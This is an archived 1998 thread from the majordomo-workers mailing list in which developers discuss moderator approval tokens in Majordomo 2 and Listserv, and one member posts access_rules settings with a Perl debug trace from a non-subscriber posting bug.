http://www.mar.dfo-mpo.gc.ca/science/mesd/he/staff/silvert/silvert.html From majordomo-workers-owner Thu Oct 29 11:44:55 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id LAA19343 for majordomo-workers-include; Thu, 29 Oct 1998 11:44:55 -0800 (PST) Received: from kootcom.kootenay.net (kootcom.kootenay.net [209.52.230.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id LAA19336 for ; Thu, 29 Oct 1998 11:44:42 -0800 (PST) Received: (from uucp@localhost) by kootcom.kootenay.net (8.7.5/8.7.3) id TAA05957; Thu, 29 Oct 1998 19:59:07 GMT Received: from ArmispianSystems.Rossland.bc.ca by kootcom.kootenay.net; Thu, 29 Oct 98 11:59 PST Received: from localhost (jrasku@localhost) by ArmispianSystems.Rossland.bc.ca (8.8.5/8.8.5) with SMTP id LAA19215; Thu, 29 Oct 1998 11:58:38 -0800 Date: Thu, 29 Oct 1998 11:58:35 -0800 (PST) From: Jason Rasku To: Bill Silvert Cc: Majordomo developers Subject: Re: More than one moderator? In-Reply-To: <199810291413.KAA20263@ecology.bio.dfo.ca> Message-ID: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, 29 Oct 1998, Bill Silvert wrote: > and all you have to do is reply with a message saying "OK". It will only > accept one approval for the token A879DA1A of course. But there is a > problem with this. On the lists I run the owner sometimes wants to make > changes before approving -- for example, it is common for someone to > include a long message, signatures and all, at the end of a short but > worthwhile posting. (Since these are my colleagues, I tend to be pretty > lenient abut these matters.) Complex MIME postings with vcards are a > particular bete noir. Listserv already deals with this. I'm not sure HOW it is dealt with, as I have not run a moderated list (edited with list members being editors), and on my lists I have not had to deal with editing messages. Now I realise there are various other reasons for using majordomo (I think cost is probably one of the biggest reasons, for most people who use it), but most of the features that people are looking for are already in listserv, but I must say that I am MOST impressed with the taboo headers, and taboo body capability, that is a feature that is not avalable (to my knowledge) in listserv. Jason Rasku -- Jason Rasku, Box 270, Rossland, B.C., V0G 1Y0, (250) 362-5701, LinuxBox: (250) 362-9668. List manager: majordomo@ArmispianSystems.bc.ca send command help ---- To get help with majordomo or lists ---- To get a list of all lists on server. "Have you lived here all your life?" "Oh, twice that long." From majordomo-workers-owner Thu Oct 29 12:24:56 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA19861 for majordomo-workers-include; Thu, 29 Oct 1998 12:24:56 -0800 (PST) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id MAA19847 for ; Thu, 29 Oct 1998 12:24:50 -0800 (PST) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id OAA29413; Thu, 29 Oct 1998 14:36:55 -0600 (CST) To: majordomo-workers@greatcircle.com Subject: Re: More than one moderator? References: <199810291413.KAA20263@ecology.bio.dfo.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 29 Oct 1998 14:36:55 -0600 In-Reply-To: bill@ecology.bio.dfo.ca's message of "Thu, 29 Oct 1998 10:13:32 -0400 (AST)" Message-ID: Lines: 28 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BS" == Bill Silvert writes: BS> Subject: FISH-SCI: approval required (A879DA1A) Mj2 does the same thing, except that the token is at the beginning of the line to protect it against subject-trimming MUAs. BS> and all you have to do is reply with a message saying "OK". Mj2 uses 'accept'. It also takes 'reject'. There is a provision for specifying a rejection message, but that doesn't work yet. BS> It will only accept one approval for the token A879DA1A of course. Mj2 can require more than one. I haven't explored the possibilities of this yet. BS> But there is a problem with this. On the lists I run the owner BS> sometimes wants to make changes before approving -- for example, it is BS> common for someone to include a long message, signatures and all, at BS> the end of a short but worthwhile posting. Yes, Mj2 allows for this by allowing you to provide the token along with the password in the Approved: header (which can show up in the usual places, plus a few extras). Only the first moderator to get to it gets their changes in. I haven't really tested this much, though. - J< From majordomo-workers-owner Fri Oct 30 17:42:50 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id RAA13839 for majordomo-workers-include; Fri, 30 Oct 1998 17:42:50 -0800 (PST) Received: from geisha.samurai.com (geisha.samurai.com [205.207.28.131]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA13832 for ; Fri, 30 Oct 1998 17:42:43 -0800 (PST) Received: (from bryanf@localhost) by geisha.samurai.com (8.9.1a/8.9.1) id UAA24901 for majordomo-workers@greatcircle.com; Fri, 30 Oct 1998 20:53:04 -0500 (EST) Date: Fri, 30 Oct 1998 20:53:03 -0500 From: Bryan Fullerton To: majordomo-workers@greatcircle.com Subject: mj2-cvs access_rules strangeness Message-ID: <19981030205303.M21432@samurai.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.94.15i Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I'm back! :) I'm working on moving the mj2 stuff to a test box I've setup. It's running FreeBSD 3.0-RELEASE, which comes with Perl 5.005_02, and I'm using a copy of the mj2-cvs source grabbed this afternoon. Things progressed nicely until I got to testing a list I setup. I can send to the list as a subscriber and it works, but sending as a non-subscriber results in an error. I'm also getting lots of debug messages, the "use of uninitialized value" messages, which I believe are coming from Perl and not from mj2. Here are the access_rules for the list: configset bl2 access_rules << ENDAAB subscribe confirm_consult ALL post allow @ post consult ALL ENDAAB And here's what gets dumped into mj_resend's debug log: [24868]Majordomo Email client - Fri Oct 30 20:46:13 1998 [24868].Compilation took 2.55s, 0.27u [24868].Majordomo::new: /export/store/majordomo/lists, samurai.com [24868].Majordomo::new..done, took 0.00 sec [24868].Majordomo::connect: resend [24868].Majordomo::connect..done, took 0.00 sec [24868].Majordomo::dispatch: post_start, [24868]..Mj::Resend::post_start: bl2 [24868]..Mj::Resend::post_start..done, took 0.00 sec [24868].Majordomo::dispatch..done, took 1.00 sec [24868].Majordomo::dispatch: post_done, [24868]..Mj::Resend::post_done [24868]...Mj::Resend::post: bl2, , /tmp/mj_tmp/mj/post.24868.AAA [24868]....Mj::Resend::_check_approval [24868]....Mj::Resend::_check_approval..done, took 0.00 sec --== Use of uninitialized value at /export/store/majordomo/lib/Mj/SimpleDB/Base.pm line 42. --== Use of uninitialized value at /export/store/majordomo/lib/Mj/Addr.pm line 359. --== Use of uninitialized value at /export/store/majordomo/lib/Mj/Addr.pm line 359. --== Use of uninitialized value at /export/store/majordomo/lib/Mj/SimpleDB/Base.pm line 42. [24868].......SimpleDB::lookup_quick called with null key. SimpleDB::lookup_quick called with null key. at /export/store/majordomo/lib/Mj/SimpleDB/Text.pm line 591 Mj::SimpleDB::Text::lookup_quick('Mj::SimpleDB::Text=HASH(0x84dae94)', undef, undef) called at /export/store/majordomo/lib/Mj/SimpleDB/Base.pm line 44 Mj::SimpleDB::Base::lookup('Mj::SimpleDB::Text=HASH(0x84dae94)', undef) called at blib/lib/Mj/List.pm (autosplit into blib/lib/auto/Mj/List/is_subscriber.al) line 234 Mj::List::is_subscriber('Mj::List=HASH(0x84da7d8)', 'Bryan Fullerton ') called at blib/lib/Mj/Access.pm (autosplit into blib/lib/auto/Mj/Access/list_access_check.al) line 508 Mj::Access::list_access_check('Majordomo=HASH(0x84bdd2c)', undef, undef, 'resend', '', '(post to bl2)', 'bl2', 'post', ...) called at blib/lib/Mj/Resend.pm (autosplit into blib/lib/auto/Mj/Resend/post.al) line 177 Mj::Resend::post('Majordomo=HASH(0x84bdd2c)', '', '', '', 'resend', '(post to bl2)', '', 'bl2', ...) called at blib/lib/Mj/Resend.pm (autosplit into blib/lib/auto/Mj/Resend/post_done.al) line 271 Mj::Resend::post_done('Majordomo=HASH(0x84bdd2c)', '', '', '', 'resend', '(post to bl2)', '', 'bl2', ...) called at /export/store/majordomo/lib/Majordomo.pm line 323 Majordomo::dispatch('Majordomo=HASH(0x84bdd2c)', 'post_done', '', '', '', 'resend', '(post to bl2)', '', ...) called at /export/store/majordomo/bin/.mj_email line 213 main::resend('Majordomo=HASH(0x84bdd2c)', 'bl2') called at /export/store/majordomo/bin/.mj_email line 125 [24868]...Mj::Resend::post..done, took 1.00 sec [24868]..Mj::Resend::post_done..done, took 1.00 sec [24868].Majordomo::dispatch..done, took 1.00 sec It's entirely possible this could be a problem with the version of Perl that ships with FreeBSD 3.0-R - if so I have no problem with rebuilding and reinstalling. But if I don't have to I'd rather not. :) Thanks, Bryan -- Bryan Fullerton http://www.samurai.com/ Owner, Lead Consultant http://www.feh.net/ Samurai Consulting http://www.icomm.ca/ "No, we don't do seppuku." Can you feel the Ohmu call?